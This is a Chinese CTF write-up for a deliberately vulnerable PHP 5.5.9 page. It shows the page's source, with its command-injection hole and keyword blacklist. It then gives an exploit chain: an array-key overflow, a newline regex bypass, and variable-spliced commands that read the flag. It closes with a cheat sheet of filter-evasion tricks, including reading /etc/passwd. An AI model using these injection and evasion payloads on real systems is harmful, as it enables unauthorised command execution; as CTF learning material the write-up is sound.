<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }
post两个变量:stuff数组和num字符串
首先进行了个数组的比较
要使stuff数组和array相等但是0号元素却和array的零号元素admin不等
这怎么可能????
但是看到特地标注了php5.5.9
看来是php版本的漏洞了
再网上查了下
漏洞报告
https://bugs.php.net/bug.php?id=69892
构造stuff[4294967296]=admin&stuff[1]=user&num=123
if (preg_match("/^\d+$/im",$num)){
num中要全是数字,但是有/m多行匹配
用%0a换行符绕过
stuff[4294967296]=admin&stuff[1]=user&num=123%0a
先匹配第一行123,满足,再匹配第二行
最后
!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
过滤掉了flag和cat
用全局变量绕过
stuff[4294967296]=admin&stuff[1]=user&num=123%0a a=f;d=ag;c=l;tac /$a$c$d
:1:用hackbar提交post请求会进行url编码最好用burp
2:命令执行知识:
php中执行系统命令 system() passthru() exec() shell_exec() echo @`whoami`; ob_start() system() mail+LD_PRELOAD 空格${IFS},$IFS$9,%09 终止符%00 %20# %0a 0x00 /00 分隔符 ; & | echo 123%0a 敏感字符绕过 cat == a=c;b=a;c=t;$a$b$c == echo 'cat'|base64 `echo 'bHMK'|base64 -d` cat$x /etc/passwd cat /etc/pass'w'd 文件构造 1>1 空文件 ls>1 网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者http://0x7F000001这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp